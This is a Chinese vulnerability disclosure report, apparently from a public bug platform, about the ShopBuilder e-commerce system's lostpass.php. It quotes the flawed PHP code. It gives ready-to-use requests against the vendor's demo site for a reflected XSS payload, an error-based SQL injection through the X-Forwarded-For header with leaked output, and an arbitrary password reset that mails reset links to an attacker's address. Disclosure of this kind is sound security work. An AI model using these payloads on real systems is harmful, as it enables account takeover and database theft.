2014-08-05: 积极联系厂商并且等待厂商认领中,细节不对外公开 2014-11-03: 厂商已经主动忽略漏洞,细节向公众公开
rt.
厂商:shopbuilder:www.shop-builder.cn案例好像还挺多
漏洞文件lostpass.php,39行
if(!empty($_POST["action"])&&$_POST["action"]=="submit"){ $info=explode("|",$_POST["userid"]); $sql="select * from ".MEMBER." where userid='$info[0]'"; $db->query($sql); $re=$db->fetchRow(); if($re["userid"]) { $md5=md5(time().rand(0,100)); $md5='lock'.substr($md5,5,strlen($md5)); $db->query("update ".MEMBER." SET password='$md5' where userid='$info[0]'"); $mail_temp=get_mail_template('find_pwd'); $con=$mail_temp['message']; $url=$config['weburl']."/lostpass.php?md5=$md5&userid=$re[userid]"; $url="<a target='_blank' href='".$url."'>".$url."</a>"; $ar1=array('[sitename]','[username]','[findurl]','[contact]'); $ar2=array($config['company'],$re['user'],$url,$re['name']); $con=str_replace($ar1,$ar2,$con); send_mail($info[1],$re["user"],$config['company']." PASSWORD",$con); $tpl->assign("email",$info[1]); }
这个地方存在反射xss,测试方法
post: http://democn.shop-builder.cn/lostpass.phpaction=xx&action=submit&userid=23|23289**391@qq.com%c0'<iframe/onload=alert(1)>
还存在sql注入,测试方法:
POST /lostpass.php HTTP/1.1Host: democn.shop-builder.cnUser-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateCookie: PHPSESSID=afb08a195a17072dfae5fdd352f75725X-Forwarded-For: 8.8.8.8',UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1),'','')#Connection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 41userid=23|23289**391@qq.com&action=submit
返回内容:
insert into shopbuilder_page_view (url,ip,time,username,fileName) values ('%2Flostpass.php','8.8.8.8',UpdateXML(1,CONCAT(0x5b,mid((SELECT user()),1,32),0x5d),1),'','')#','2014-08-05 17:48:48','','/lostpass.php')XPATH syntax error: '[root@localhost]'
X-Forwarded-For存在sql注入,获取了用户名程序员的逻辑真是越来越看不懂了,只要post的action,submit不为空,就可以将指定userid的重置密码连接以邮件形式发送到指定邮箱,导致任意用户密码重置下面用他的demo测试下
http://democn.shop-builder.cn/lostpass.php
post:
action=xx&action=submit&userid=23|23289**391@qq.com
这里只要修改userid就可以重置任意用户的密码了,重置连接会发送到23289**391@qq.com
未能联系到厂商或者厂商积极拒绝